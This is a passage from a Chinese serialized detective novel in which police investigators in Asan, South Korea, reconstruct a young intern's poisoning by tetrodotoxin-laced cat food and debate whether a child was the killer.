“我刚才仔细看了一下那些刚被翻译出来的内容,确实如你所说。不过也有一些新东西,比如那袋有问题的猫粮,有毒部分只在上层,且这一层有毒猫粮的成分与该公司的猫粮成分不符,详细成分表都列出来了。企业说和他们无关,倒也没什么问题。”章弥真道。 “嗯,咱们的目的不是来搞垮他们的企业。而且,这仍然不能说明是不是李芝华主动将有毒猫粮加入火锅的。也有可能是李芝华出事后,邵彦华为了混淆视听,祸水东引,故意把有毒猫粮加入了火锅和猫粮袋。”秦梓需道。 “卷宗里写了李芝华的验尸结果,她的胃内容物与火锅食材相符,也检测出了有毒猫粮,说明,她确实吃了猫粮,猫粮就是毒物的载体。”章弥真道。 “是,但我认为李芝华把猫粮放进火锅里煮,这件事本身就很奇怪,不该是一般人的行为。哪怕节俭如李芝华,这么做也很出格。这个动作,更有可能是邵彦华做的。” 章弥真蹙眉道:“你的意思是邵彦华逼着李芝华吃猫粮吗?他有必要这么做吗?我觉得以他那种简洁且尽量不留证据的犯罪风格,他完全可以在其他东西上下毒,或者选择更为隐蔽的谋杀方式,比如把李芝华推到楼下,伪装成跳楼自杀啥的。现在这个做法,反而像是要搞垮猫粮企业,又或者是揭露韩国海产协会的黑幕。” 秦梓需皱着眉头沉吟良久,才出声道: “我现在有一种朦胧的感觉,邵彦华从李芝华案开始,犯罪风格出现了微妙的变化。加入了很多不必要的动作,像是强迫症一样,一定要满足某种心理。” “啊?”章弥真惊了。 秦梓需掰着指头数:“李芝华案用猫粮下毒;药山镇专门去李家找证物,还装神弄鬼吓唬老两口;一直到针对你的一系列犯罪行为都很多余。他完全可以做得更干净无痕,或者干脆什么也不做,我们都很难找到他。以他的智商,不该想不到。” “也许是因为市局撞见你后,自乱阵脚了。心一乱,行为就失控了。”章弥真道,随即她自我否定道,“不过,这也解释不了猫粮的事。” “说起这个,我一直想不通邵彦华为什么要针对我啊,还有邵紫涵,我不过是在芝加哥打工期间在冰淇淋店里和她有过某种接触而已,而且我真的毫无印象啊,感觉就是很小的事,不然以我的记性不至于记不住。她至于对我这么念念不忘吗?邵彦华对我又有什么执念?该不会是初中时暗恋我吧。”章弥真说到这里,感到一阵恶寒。 “猫……爱人如爱猫……”秦梓需突然出神了一般,嘴里念念叨叨。章弥真被她念叨的话吓到了,此前经历的一切走马灯般在脑海里闪回,她感到很不舒服。 “老秦!你想什么呢?”她强行打断秦梓需的念叨。 “哦,抱歉。”秦梓需回过神来,道,“我就是在研究邵紫涵的那个微信名,她这个名字不像是随便取的,应该有含义,也许可以分析出来点什么。” “你分析出啥了?” “她很爱猫。”秦梓需道。 “屁嘞,真正的爱猫人士哪里会伤害猫啊!”章弥真非常反对这个说法。 “你先别急着反驳,我的所谓‘爱猫’是从邵紫涵自身角度出发的,与普罗大众认知中的爱猫不是一个概念。她的心理状态不是正常人的心理状态,她的‘爱’可以解释为是一种极端虐爱,极其依恋某个对象,一旦察觉到这个对象有离开自己的倾向,就有毁掉这个对象的冲动。” “我去……这不是病娇吗?”章弥真吃了一惊。 “差不多是这个概念。”秦梓需对二次元不大熟悉,但病娇这个词她还是知道含义的,“你在芝加哥期间,有没有养过猫?” “没有,我从小到大都没养过宠物的。”章弥真道。 “唔……”秦梓需又沉吟了下来。 “不过,我记得芝加哥大学附近有好几家宠物店,我和同学偶尔也会去逛。美国人养狗的比较多,猫当然也有,但没有狗多。”章弥真道。 秦梓需连忙给刘明城发了一个微信消息,章弥真凑过来看,发现她写道:【刘总,麻烦您联系芝加哥,查一查芝加哥大学附近有没有华人开的宠物店或者宠物医院,再不然就是宠物粮工厂,时间起码15年以上了。把梅凝隽和邵紫涵的照片给他们看,让他们认一认人。】 “你怀疑梅凝隽带着邵紫涵在芝加哥宠物相关的企业里打工谋生?” “嗯,邵紫涵有可能是在一个长期与宠物做伴,尤其是与猫作伴的环境里长大的。”秦梓需道。 “你咋的老是扯邵紫涵呢?”章弥真感到有点不解,随即她突然反应过来,瞪大眼睛道,“等一下等一下,2012年邵彦华应该作为卢康安入职现在的公司了吧,能不能查到他当时的出入境记录呢?又或者公司的请假记录。如果他当时的不在场证明相当扎实,岂不是意味着当时到韩国作案的并不是邵彦华?” “对,关于这一点,在来韩国前我就让刘总仔细查了,目前还没消息。”秦梓需笑了。 “我终于懂了,所以你是在怀疑韩国犯案的并不是邵彦华,而是邵紫涵?!”章弥真说道。 “嗯,就是这个意思。但目前还是猜想。” “我的亲娘,那可是8年前,那会儿她才9岁!”章弥真简直无法接受。 “谁会对一个9岁的孩子设防呢?”秦梓需淡淡道,“我们现在查案,需要抛却一切常情常理,单纯从逻辑出发。我想搞明白李芝华为什么会煮那份火锅,为什么会吃猫粮,为什么要将文件盒寄回国,又为什么要将证物单独取出来。我想将她一切不合理的行为都搞明白,只有这样,才能知道证物到底在哪里。” 她话说到这里时,茶水间来人了,恰好就是牙山警署派到会议室帮众人查阅卷宗的那两个女文员。二人见状连忙起身离开,匆匆打了个照面,直接与她们擦肩而过。 “这俩人出来了是什么意思?”章弥真悄声问秦梓需。 “应该是被谢支他们请出来了,这说明咱们要开小会了,不能让韩国人听。”秦梓需偏头,凑到章弥真耳畔笑道,随即抓住章弥真的手腕,带着她加速穿过走廊往回走。 第80章 第八十章 秦梓需、章弥真回到会议室里时,恰好郑有为郑老正在分析毒物。二人进来时,谢云卿向她们招手: “快点,跑哪儿去了?听郑老怎么说。” 秦梓需、章弥真连忙一路跑回座位坐下,就听郑老清了清嗓子,从头说起: “韩国人给的这份验尸报告和毒理报告我仔细看完了,有个别缺失的地方,整体上问题不大。可以确定,猫粮上层浮着一层加入了河豚毒素的特制猫粮,也有一部分混合毒素的猫粮被倾倒入火锅。李芝华的胃内容物分析可以证明她确实是吃下了混合毒素的猫粮,至于是不是吃的锅里的猫粮,则不能肯定。 “不过,我比较在意的是为何凶手会选择河豚毒素作为杀人工具。这个毒素相当不好获得,除非对凶手来说唾手可得,否则没有必要非得使用这样的杀人工具。混在猫粮里的行为,也相当令人费解。这个案子,对我来说,最为困惑的莫过于这两点了。” 秦梓需立刻问道:“郑老师怎么看将猫粮加入火锅这个动作?” “嗯……表面上来看,是李芝华将猫粮煮火锅吃了。但这个行为本身不是常人的行为。我倾向于,将猫粮放进火锅这个行为并非是李芝华做的,她胃里的猫粮也不是吃火锅来的。将猫粮加入火锅的这个行为,只是为了混淆视听,让警方误以为是李芝华主动这么做的。 “不过正如我刚才所说,我无法理解凶手为什么要在猫粮里下毒,而且是专门制备了猫粮冻干。凶手如果想做到隐蔽,她完全可以去购买河豚,直接加入锅内,这样就不会有任何人怀疑了。既然凶手有渠道搞到河豚毒素,搞到真的河豚也不是难事。加入猫粮,根本是多此一举。”郑有为分析道。 章弥真追问道:“李芝华如果不是主动吃下猫粮的,难道是被胁迫的?” “她的身上没有任何控制伤,应该不是暴力胁迫,有可能是诱骗。”郑有为道。 “这该怎么诱骗啊,实在想不明白。”邹天仰倒在会议椅的靠背上,他感觉脑袋发胀,整个人都要疯了。 这时候谢云卿发话了,她习惯性地敲了下桌面,道: “咱们先换换脑子,看一下口供。根据李芝华的几个室友的口供,宿舍里的电煮锅是共用的,以往确实煮过两次火锅,但那是舍友全体都在的情况下,大家凑钱买了菜和火锅底料,一起吃。电煮锅也是几个室友一起出钱买的,李芝华从未独自使用电煮锅吃过火锅。 “这说明,她这次单独煮火锅的行为本身就相当可疑,不是往常她会做的行为。 “另外,她那天轮休,根据室友的口供,以往她轮休都是在宿舍里看书学习,吃饭都是对付一口。那天既不是她的生日,也不是什么节庆日子,突然大张旗鼓地买菜一个人吃火锅,很奇怪。 “还有她的外出情况,室友说她很少外出,因为刚到韩国,韩语并不熟练,她们偶尔外出也只是去工厂附近的华人超市买生活用品和食品,并不敢走远。此外,还会去的地方就是便利店和银行了,不论是哪儿,活动范围不会超过工厂五公里半径这个区域。” 章弥真很无奈:“知道有问题,但就是查不出问题在哪儿,真是难过啊。” 秦梓需见大家都没什么头绪,清了清嗓子,发话了: “我有一个相当不成熟的推测。反正现在也没有其他思路,咱们不如做一个思想实验。假如杀害李芝华的并不是邵彦华,而是邵紫涵,这个案子是否更有可能成立?” “啊?”邹天大吃一惊,整个人从仰倒状态变为趴在桌上,使得椅子发出了嘎吱的响声。 其余人也都惊愕地看向她,只有章弥真扶额垂首,有点想笑。 “想想而已,换个思路嘛。”秦梓需笑道。 “我算一下……2012年,那会儿邵紫涵才9岁啊!”谢云卿发出了和章弥真一模一样的惊叹。 “谁说9岁的孩子就不能犯罪?”郑有为开口了,“小秦这个思路可以,值得揣摩一番。如果是小孩子,很多行为是可以解释的。比如,大人为了让孩子吃点好的,专门为她买菜煮火锅就很正常。小孩子不懂事,主动吃猫粮,大人为了陪孩子玩儿,也有可能跟着吃。当然,孩子到底能不能意识到自己在做杀人行为,这个不好说。” 邹天感到一阵恶寒:“我的妈呀,太丧心病狂了。” 谢云卿加入了这个思想实验,道: “既然如此,我感觉邵紫涵出现在李芝华的视线之中,应该不止一次了吧。极有可能她是和那只李芝华喂养的流浪猫一起出现的。将猫作为工具,来与目标人物挂钩接触,这个手法可能就是从这开始的。” “口供里,似乎她的室友们都没有提到过邵紫涵这个小孩子?”章弥真提问。 “这多半是因为这个孩子从未在有室友的地方出现过。有什么地方是李芝华会单独去,但其余室友不会去的?”秦梓需问道。 会议室里顿时响起了一片哗啦啦的翻页声,大家都在找卷宗里关于这一部分的内容。李芝华在案发前的行踪监控是缺失的,当时就没能找到,现在更没办法去找。 最先找到的是翻译金楚欣,她对卷宗文本非常熟悉,且过目不忘,而且她还是监控专家,对监控部分最关注。此前她就已经鉴定出宿舍大门的监控是被替换过的,5月22日中午11:00——14:00间的监控内容被替换过。 金楚欣:“在第十页,监控调查那一部分。李芝华的实习工资是发到韩国这里的工资卡里的,她每次拿到实习工资时,都会专门跑ATM把韩元全部取出来。且她都是避开室友,专门绕去更远的ATM去取钱。取出来的钱,只留下一小部分自己花,剩下的全部锁在自己的柜子里。 “据知情的室友推测,她家里不富裕,可能是害怕银行卡扣年费。其余的室友的实习工资要么是留着自己花,要么是汇款回国了。李芝华却选择要将现金带回国,再兑换成人民币。有可能是为了规避较高的汇款手续费。 “此外被害者的遗留物品中,并没有找到她取出来的那些韩元,只有一张里面没有一分钱的工资卡。但由于被害者的私人物品没有被翻找过的痕迹,警方怀疑这笔钱是被她寄回国了。” “并没有寄回国,当初我们问过李家老两口,他们压根就没收到这笔钱。”邹天道。 “这也不一定,这笔韩元有可能是和文件盒一起寄给老校长了。”秦梓需道,“她可能是想将这笔钱给她的母亲。她的母亲常年受她父亲控制,不掌握家中的财产,也没有个人银行账户。她想将钱给母亲,就只能通过现金。老校长将韩元兑换成人民币,偷偷给了王永荷。王永荷如果收到了这笔女儿寄回来的钱,她肯定不能当着李富国的面承认。” “这倒也是……”邹天点头。 谢云卿立刻调出地图,把那个李芝华单独去的ATM标记出来,然后和工厂之间拉出一条醒目的红线。 “这里有个小公园。”秦梓需立刻注意到红线周边出现了一个可疑的地点。 “对,她们好像就是在这里遇到流浪猫的。”谢云卿道。 “邵紫涵有可能就是在这里,趁着李芝华一个人路过时上前和她接触的。”章弥真道。 秦梓需道:“一会儿我们去那附近走走,看看附近的环境。” “不是,咱们真的要以9岁孩子犯案作为查案方向吗?”邹天仍然感到难以接受。 “死马当活马医吧。”谢云卿道。 …… 半个小时后,秦梓需、章弥真、谢云卿和邹天四人一起来到了刚才提到的公园。而郑有为年纪大了,腿脚不是很方便,小金便留下来陪着他应付韩国人。 此前他们从牙山警署出来时,韩国人还想派人跟着的,被他们婉拒了。但韩国人还是坚持,最终是派了一个懂点中文的女警员作为司机,带着他们一行四人在周边兜圈。现在载他们来的警车就停在公园边。 四人步入公园,这公园就是时常能在韩剧里看到的公园,位于社区里,里面有一些儿童游乐的设施,滑梯、秋千和跷跷板上的色彩有些斑驳,上了年头了。 正值八月,骄阳艳艳,这会儿差不多是下午四点半,公园里正有一群初中生模样的男孩在打棒球,挥汗如雨。也有一些年纪更小的孩子正在游乐设施玩耍,周遭有他们的家长陪伴。 众人从公园穿过,来到了另外一片街区。这里像是一片农贸市场,也像是步行商贸街,头顶有拱形顶棚遮风挡雨,内里都是卖小吃、农贸产品的小商铺。 “这牙山靠近首尔都市圈,城市化率还行,要是再边角一点,就是大农村了。”章弥真道。 众人穿过这条步行街,周遭的人彼此之间好像都认识,互相见面都打招呼聊天。这里的人际关系和首尔相比,差别挺大。 “这里是个熟人社会啊。”谢云卿道。 熟人社会……四个字如闪电般划过秦梓需脑海,她眸光忽闪,似乎突然想到了什么。 此时,邹天看到了一个卖水产的年轻女孩挺面善,于是打开了手机翻译软件,直接上前和对方比划交流起来。 前方的秦梓需连忙顿住脚步,回身来到邹天身边。 原来邹天是在询问对方这里有没有开了十年以上的小旅馆。而且是那种不太正规的,入住不需要证件的小旅馆。 女孩很奇怪地看着他,迟疑着不敢说话。邹天连忙拿出自己的警官证,解释自己是中国的警察,来韩国是在追查一个案子。 这下女孩更不敢说什么了,一连串地道歉,说她不知道,然后连忙躲回了店里去,再也不出来了。 “这……”邹天挠头。 “你啊,亮什么警察身份啊,而且你这打听方式也太生硬了。下回还是换我来吧。”秦梓需吐槽他。 “我这是很正常的询问啊,哪里生硬了?”邹天感到不解。 “咱们这是在韩国,你以为韩国老百姓都像中国老百姓那样信任警察的吗?何况你还是个中国警察,谁知道你身份是不是冒充的,人家又没有查验你是不是货真价实的公安的渠道。所以本着多一事不如少一事的原则,自然是选择说不知道了。”秦梓需道。 “我就是想查查看凶手当时到底是住在哪里的。”邹天无奈道。 “我明白你的意思,但我倾向于凶手并未住旅馆。”秦梓需道,“她有可能入境后,住在了一个咱们意想不到的地方,比如工厂。” “一个9岁的小孩,独自入境韩国,还住在工厂里?杀了人还全身而退?秦老师,这也太天方夜谭了吧!”邹天终于忍不住了,他是在无法相信这个调查方向是正确的。 “谁说她是独自入境的,她身边肯定还有大人呢。而且这个大人,此前很有可能带着邵紫涵和李芝华接触过,所以李芝华对邵紫涵根本没有戒心,才会带着她去宿舍里给她煮火锅吃。”秦梓需道。 “你是说邵彦华?” “不,我是说梅凝隽。”秦梓需直截了当地说出了自己的想法。 “啊?!”邹天惊了,同样吃惊的还有已经全部回头,围上来的章弥真、谢云卿。 秦梓需道:“我有一个猜想,梅凝隽和邵紫涵在更早的时候就和李芝华认识了,很有可能就是在李芝华在成都读大学的时候。这母女俩,回国后的落脚点有可能就是成都。而她们回来就盯上了李芝华。 “你们应该都知道日本发明的研修生制度吧,韩国这里也有的。实际上就是廉价劳工,相当多跑到韩国这里来打工赚钱。牙山工厂是汽车组装工厂,周遭也有相当多的汽车零配件生产小厂,我估摸着那母女俩就是到了附近某个小厂里打黑工。 “在这个过程中,故意接触到李芝华,营造出一种他乡遇故交的亲切感,李芝华就没有任何防备了。” “那李芝华为什么要把文件盒寄回去?还把证物单独取出来藏匿?”章弥真不解。 “这个目前还是个未解之谜,我推测,有可能是梅凝隽花言巧语骗她这么做的,也有可能是别的什么原因……” “这谋划……这耐心……真可怕!”章弥真后背泛起鸡皮疙瘩。 “那这一切都是邵彦华指使的吗?”谢云卿问。 湳枫 “不好说,不过我估计邵彦华当时极大可能抽不开身。等大后方的调查结果出来,咱们就知道是怎么回事了。”【你现在阅读的是 】 80-90 第81章 第八十一章 一行人从步行街出往回走,谢云卿问秦梓需: “如果是这样的话,那她们使用河豚毒素杀人的目的在于什么?郑老师也说了,河豚毒素制备困难,她们还专门弄成了猫粮冻干,这么费劲是为了什么?” 秦梓需推测道:“费劲还是不费劲,完全是因人而异。咱们不要总站在一般人的视角上去审视凶犯,如果凶犯选择这个看似麻烦的方式杀人,那就证明这么做对凶犯来说最有利、最便捷、最有助于脱罪。 “所以,这个问题的答案也许与梅凝隽的谋生职业有关。她带着邵紫涵在芝加哥生活了好些年,有可能就是从事着某种与宠物相关的工作,她很懂猫粮的制备过程,且手边有制备机器。 “而梅凝隽早年间则是在邵长生的制药厂工作的,不排除她接触到了某些河豚毒素的贩卖渠道,就像邵彦华搞到乙/醚一样,她也搞到了一些河豚毒素。把加了河豚毒素的猫粮带出国,过海关的时候,也不容易被查出来。” “河豚毒素还能入药?”邹天好奇问。 “嗯,现在有一种麻醉药——TTX是河豚毒素制备的,此外,河豚毒素还会被制成镇痛药和戒毒辅助药物。我记得长生药业也有麻醉药的生产线。”秦梓需道。 邹天点点头,他又学到了新知识。 众人再次路过刚才那家邹天试图询问女店员的水产店,正好这家水产店的隔壁——一家鲜花礼品店的店员正站在门口发传单,见到他们路过,便立刻上前,给他们每个人手里都递了一张传单,嘴里还说了一大串韩语。 可惜,小金不在,没有人能听懂。秦梓需看了一眼传单上的内容,也都是韩文,啥也看不懂。不过传单上印着拿铲子种树的照片,她心想:这是啥?植树活动吗? 众人拿着传单,也不好意思当面丢掉,于是都折叠了一下,揣进口袋里。 谢云卿思索了一下,继续道:“可这些说到底还只是推测,可以证实的部分不多啊。” “是,但我觉得这一套推测目前算是逻辑最完整的,最能解释所有疑点的推测了。”秦梓需道。 “行,我还是选择相信你的判断,从查案到现在,你的判断基本上没怎么出过差错。”谢云卿笑着拍了拍秦梓需的肩膀。 章弥真问:“既然如此,那咱们接下来怎么查?” “往下推理,假使我们此前的一切推测都是对的,确实是李芝华主动带着邵紫涵进入了宿舍楼,给她煮了火锅,然后在邵紫涵的诱骗下不慎吃下了剧毒猫粮死亡。那么接下来会发生什么?”秦梓需道。 章弥真跟着思索道:“这不就说明李芝华不设防吗?但是邵紫涵的目的应该是找到证物吧,她没有找到?” 谢云卿道:“关键问题就在这里。假使李芝华不设防,那证物应该已经在她们手里了,也就没有邵彦华后来专程跑云南再犯案的事了。既然证物不在她们手里,就说明李芝华在被毒杀前出于某种原因,不一定是警惕心,把证物从文件盒里取出来,另外保存了。” 邹天挠头:“这绕了一大圈,结果还是在原地打转转啊。” “别停,继续想,为什么李芝华要把文件盒寄回国?”秦梓需追问。 “为什么?”邹天迷惑,“现在来看,肯定不是为了调虎离山了。” “对,别忽视一点,那个文件盒是直接寄给老校长的。最合理的推测是:那个时间段,李芝华有可能突然意识到了一个问题,那个文件盒不是寄给她的,而是寄给老校长的,所以她才会把文件盒寄还给老校长。”秦梓需道。 “对哦!这才合理了。”章弥真一拍手。 “可是这还是不能解释她为什么单独把证物取出来,难道说那证物本身真的不存在吗?”谢云卿道。 秦梓需摇头:“我们是从杨莲的一系列行为里推测出存在证物的,这个前提暂时先别推翻。就在这个前提下,李芝华单独取出证物,这说明李芝华长了个心眼,她将风险分摊了。文件盒寄回给老校长,关键证物则另有安排。这么做不是因为意识到自己身边有危险,而是单纯出于一种风险管理意识。” “难道关键证物也寄回国了?”章弥真问。 秦梓需捏着下巴道:“不好说,我倾向于她贴身保存了。从她省钱又有贴身藏钱的习惯出发,这很有可能。代入小姑娘的思维来看,她有可能是打算等实习期结束,亲自把证物带回国,然后去找老校长,两人一起把东西交给警察。 “不过,那证物应该是藏在某个伪装的外壳内部的,不是一眼就能看出来的。” 章弥真道:“我突然想到,邵彦华用来假扮李芝华时打着的那把花雨伞,到底是不是李芝华的?” “找不到了,没办法证明。”邹天摇头。 “如果是的话,那花雨伞应该就是从牙山这里拿到手的。我就是在想她会不会把证物藏在花雨伞里……”章弥真道。 “这没法藏吧,雨伞怎么藏眼镜?”邹天反驳。 章弥真摊手,她想不下去了。 这个时候,谢云卿的手机突然响了,是小金来电。谢云卿忙接起并开了免提,招呼大家凑过来听,就听小金道: “谢支,我和郑老有新发现。我们又仔细研究了一下卷宗,发现卷宗之中工厂宿舍进出入打卡似乎有问题,和值班表对不上。 “我俩于是专门去查了工厂的打卡记录。牙山工厂三班倒,大夜班后一般都会轮休。5月20日的时候,李芝华已经值过一次大夜班,按理说她应该是在5月21日轮休的,但实际上却是在5月22日轮休。 “我们直接打电话去询问了她的室友,原来21日她应该是替一个室友又当了班,那天是那个室友的生日,她们在宿舍里开生日会,还点了蜡烛,而且把蚊帐给烧着了,幸亏扑灭及时没酿成大火。这些事情卷宗里全都没有记录啊!” “可能是在掩盖工厂宿舍管理的问题。”谢云卿道。 “好家伙,怪不得李芝华单独把文件盒寄回国了,她是担心宿舍失火,文件盒里的纸质内容被烧毁了吧。”章弥真恍然大悟。 “若不是因为这个事故,她可能根本不会把文件盒寄回去,而是选择直接把东西亲自带回去。”秦梓需道。 “这可真是天意……”邹天实在有些没法唯物主义了。 小金补充道:“而且5月22日,就是李芝华轮休当天,她上午还出去了一趟,卷宗里说是去买菜,但宿舍门禁刷卡记录里她早上8点就出门了,一直到11:30才回宿舍,买菜需要这么久吗?她去干什么了?监控方面完全看不到这方面的记录。” 秦梓需想了想,询问谢云卿道:“咱们进入牙山工厂调查是明天?” 提起这个,谢云卿很头疼:“昨晚问了,牙山警署那帮人含糊其辞,不肯给确切答复,只说是工厂最近业务比较多,要再约时间。” 秦梓需对着电话话筒道:“小金,你们尝试着查一下牙山工厂的内部分区图。” “这个……说实在的,那帮牙山警署的人不配合,我和郑老刚才问他们要工厂的值班表,郑老逼得有点紧,已经把他们惹毛了……”小金显得很为难。 “我这暴脾气,这帮家伙到底是不是警察啊!”章弥真彻底怒了。 秦梓需理性分析:“牙山工厂是本地大企业,纳税大户,这帮警察的收入与牙山工厂的效益息息相关。对于他们来说,咱们这次调查确实威胁到他们的利益了。” “我们只是想找证物,没打算搞黄他们的生意,怎么就是不明白。”谢云卿也很生气。 电话那里传来了郑有为的声音:“猜忌心一旦起来了,就没那么容易消解了。看来要想办事儿顺利,还得先处理人际关系。” 谢云卿无奈道:“好吧,我们马上回来,我再找之间和他们谈,说明我们的目的和态度。” 电话挂断了,谢云卿刚把手机收起来。章弥真却掏出了手机,秦梓需见她神色不对,忙问: “你要干啥?” “我要摇人,我认识一个前同事,是驻韩记者,和韩国这里很多媒体同行关系很铁。我来让他帮帮忙,联系些媒体,给牙山警署施加点压力。”章弥真道。 秦梓需压住她的手机:“你先等下,先别节外生枝。” 谢云卿道:“这个做法攻击性确实有点强,不到万不得已先别用。我先和他们谈,他们要是敬酒不吃吃罚酒,那你再用这招不迟。” “好吧,听你们的。”章弥真耸了耸肩,将手机收了起来。 邹天在旁笑道:“章姐,你可是我们的杀手锏了。” “是吧,带我来查案准没错。”章弥真露出骄傲的小表情。 一行人回到了车上,本来是邹天坐副驾,但秦梓需突然主动要求坐在副驾,邹天于是坐到了后排,被谢云卿和章弥真一左一右夹在中间,颇为拘束。 秦梓需系好安全带后,让牙山警署派来的警员驱车返回警署。这位牙山警署的警员是个年轻的女警,汉语说得有点生涩,发音不准、偶尔语法颠倒,词汇量也相对匮乏,但基本上能听得懂日常会话。这个汉语水平算是不错了,应该是专门学过的。 路上,秦梓需和颜悦色地和她攀谈起来: “朴警官,我很好奇您中文这么厉害,是专门去学的吗?” “哦,嗯,我家里的缘故,所以小时候有学过一段时间。说的不好,让您见笑了。”这位女警倒是很客气。 “家里的缘故?我很好奇,方便说一说吗?”秦梓需继续追问。 “我家里是……开工厂的,有很多中国员工,所以我爸爸让我学中文,是想让我帮助家里的事。但我当了警察,也没有留家里……所以……”朴尚恩很努力地表达着。 “您是本地人?” “嗯。” “您家的工厂是本地的吗?是汽车配件厂?” “是的,您怎么知道?”女警似乎很惊讶。 “那您见过这个人吗?”秦梓需从手机里调出梅凝隽的照片,这是警方掌握的唯一一张梅凝隽的身份证证件照,这照片已经是三十多年前一代身份证的老照片了。 照片上的女人风华绝代,美艳动人,是那种看了一眼就很难忘怀的类型。如果有人见过她,应该不会没有印象。就算几十年后梅凝隽的外貌变化很大,就算距离李芝华案已经8年过去了,秦梓需仍然还想试试看能不能找到当年和梅凝隽接触过的人。 朴尚恩瞥了好几眼,仔细回忆,但最后只是摇了摇头:“抱歉,我没有记忆。” “那您能不能帮忙问问呢?问问看这附近的汽车配件厂有谁认识这个女人。”秦梓需不死心。 也不知道是朴尚恩这个人比较好说话,还是秦梓需魅力比较大,前者犹豫了一下,还是答应了下来: “那我帮您问问,能麻烦您把这张照片传给我吗?” “怎么传,我需要下一个KAKAO吗?”秦梓需问。 “没关系,我有微信的,我们加个好友就行。您稍等一下,我先靠边停车。” 章弥真在后座眯着眼看这俩人头碰头加好友传照片,心想秦梓需这人多多少少有点魅魔属性,不然自己当初怎么就上了她的贼船,到现在都下不来。 第82章 第八十二章 秦梓需等人返回牙山警署时,在门口撞见了一位西装革履的中年男子,他文质彬彬地向众人躬身行礼,分发名片,并用不大流利的汉语自我介绍道: “我是副市长尹先生的中文翻译,我姓李。尹副市长正在警署内等待诸位,烦请诸位移步见一面。” 秦梓需四人拿着名片面面相觑,明显感到来者不善。不过兵来将挡水来土掩,为首的谢云卿应承下来,这位翻译便先行带路,引导众人前去见面。 穿过警署办公区时,秦梓需、章弥真能很明显地感觉到这些地方警察们看他们一行人的眼神不大对。个别人还交头接耳,窃窃私语,议论着他们。 章弥真感到非常不爽:“啥意思?这是要给我们下马威了?一个副市长,大约相当于咱们县委副书记的角色,摆这么大的谱?” 秦梓需知道她脾气已经彻底上来了,一时半会儿是压不下去的,只好疏导道: “下马威不一定,我估计这是打算摊牌的意思,就是开诚布公,将双方的意愿表达清楚。这样,大家都知道做事的界限在哪里嘛。” “哼,要不是为了查案,我才懒得管他们韩国的破事。也不知道这里到底是怎么回事,卷宗藏着掖着的不敢让我们看全了,莫不是里头有什么猫腻?”章弥真道。 “你小点声……”秦梓需捂她的嘴,“那个翻译听得懂中文。” 章弥真倒也没挣扎,秦梓需这一捂嘴,她竟然就真的听话不吭声了。 “总之,你等会儿压着点脾气,看他们怎么说。要是他们逼得太紧,我们自然有上头人协调,轮不到你出场的。这不是小事,你别乱来。”秦梓需轻声叮嘱道。 不过令人想不到的是,他们并没有迎来下马威,而是尹副市长的道歉。他说警署工作不到位,对众人照顾不周,已经要求警署整改了。 不仅如此,众人还被提升了住宿标准,韩方承诺让他们入住更高标的酒店,警署还会给他们配车,全力配合他们调查。 众人顿感莫名其妙,韩方这突如其来的态度转变,总不会是在表演川剧大变脸吧。后来他们才搞清楚,原来是郑老向公安部反应情况了,公安部、外交部的动作非常快,立刻就做了协调,也不知道具体是怎么协调的,但韩方的态度确实立刻就变了。 时间已晚,一行人离开了牙山警署,先回酒店。此前韩方提出给他们换酒店,众人觉得当前的酒店就挺好了,于是婉拒了。他们在酒店的餐厅里围坐下来,一边吃晚饭,一边开案情会。 “郑老,还得是您出马。”谢云卿笑道。 郑老摆摆手,道:“搞好关系,才好开展工作嘛。主要是,我还想重新看一下那个女娃的验尸报告,有些细节想确认一下。咱们现在手头上的验尸报告,缺了一些细节照片,我不知道是他们藏起来故意没给我们看,还是本身就没有拍。” 郑老是公安部特聘的毒物专家,但他的本职其实是法医,从业已经将近50年了。 “您觉得验尸报告有问题?”秦梓需问。 郑老回道:“河豚中毒后,不是立刻死亡的,被害者从中毒到毒发,会经历至少十分钟的时间,毒发到死亡,又会经过相当长的一段时间。我想确认一下这段时间内她的行动轨迹。 “根据现场勘验的结果,猫粮是放在窗台上的,距离她吃饭的桌板有五米远的距离,她肯定够不着,若是要吃猫粮,就要离开桌板。 “案发现场的第一发现人是李芝华的三个室友,她的遗体是坐着趴在火锅桌边的,就像是趴着睡着了似的。我感觉这不正常,她死前不会那么轻松。河豚毒素发作,浑身会麻痹、呼吸困难,人出于求生本能总会挣扎一下,离开桌板、爬向门口才是正常的反应,她的这个趴伏在桌面上的姿态,感觉是被凶手刻意摆成这样的。 “如果尸体被人挪动过,最方便的搬运方式是双臂穿过被害者腋下,把人抬起来移动。这样的话,她的腋下应该会留下痕迹,但我没有看到腋下的照片。而且如果当真如小秦推测的那样,是一个9岁的小孩完成的谋杀,那她挪动尸体将非常困难,几乎无法办到。 “还有一个疑点。她的死亡时间是22日的下午2点左右,凶手如果刻意将她摆成这样,目的是要让人误会她是在吃火锅的过程中误食毒物身亡的。这也就意味着她实际上没有吃火锅,那么从她胃里发现的那些火锅食材的食糜就很奇怪了,她难道是在别的什么地方吃的火锅吗?” “不会吧,消化程度能判断进食时间吧?”邹天疑惑。 郑老回道:“消化快慢因人而异,通过食糜来判断进食时间存在误差。她胃里的食物以高膳食纤维的蔬菜和高蛋白食物居多,消化时间误差达到2个小时都是很正常的情况。但具体到底是不是这一锅的食材,化验一下就都清楚了,不至于混淆。可惜化验结果缺失了。” 小金从旁补充道:“而且她22日上午出门了3个多小时,一直到中午11:30才回宿舍,门口监控拍到她提着大包小包的塑料袋,但是那些塑料袋连带着里面的东西都不翼而飞,现场没有找到。我用图像分析拆解了一下那些塑料袋,里面不像是食材,倒更像是床上用品,就是床单被套。” “床单被套?”章弥真更迷惑了。 不得不说,郑老和小金的一系列新发现,让秦梓需此前的推理产生了动摇。本来一个9岁小孩犯罪的猜想就很难让人信服,如今则更加站不住脚了。秦梓需自己也知道必须暂时搁置此前的推理,重新复盘目前所有的线索。 郑老已经向崔总警提出想要重新查验尸报告,崔总警坚称当前提供的就已经是最完整的验尸报告了。不过他已经答应明日会安排郑老去和当年负责验尸的验尸官见面,也许能从验尸官的口里得到更多讯息。 吃完晚饭,众人各自回屋休息。洗漱过后,秦梓需和章弥真分别躺在自己的床上,黑着灯聊天。 “我总觉得这案子没我们想得那么简单啊,牙山这边的人似乎一直想要掩盖什么。”章弥真道。 “唔……”秦梓需意味不明地支吾了一声。 “你想什么呢?我跟你说,你别钻牛角尖啊,你可别为了证明就是梅凝隽、邵紫涵犯罪而专门去找证据,这可就本末倒置了。”章弥真道。 “这我当然清楚。我是在重新考虑这一切,我发觉我完全忽略了一件事,那就是李芝华在韩国这里的人际关系调查。她的身边人其实也有犯罪的可能性。”秦梓需道。 “啊?可是她的室友不是都有不在场证明吗?”章弥真迷惑。 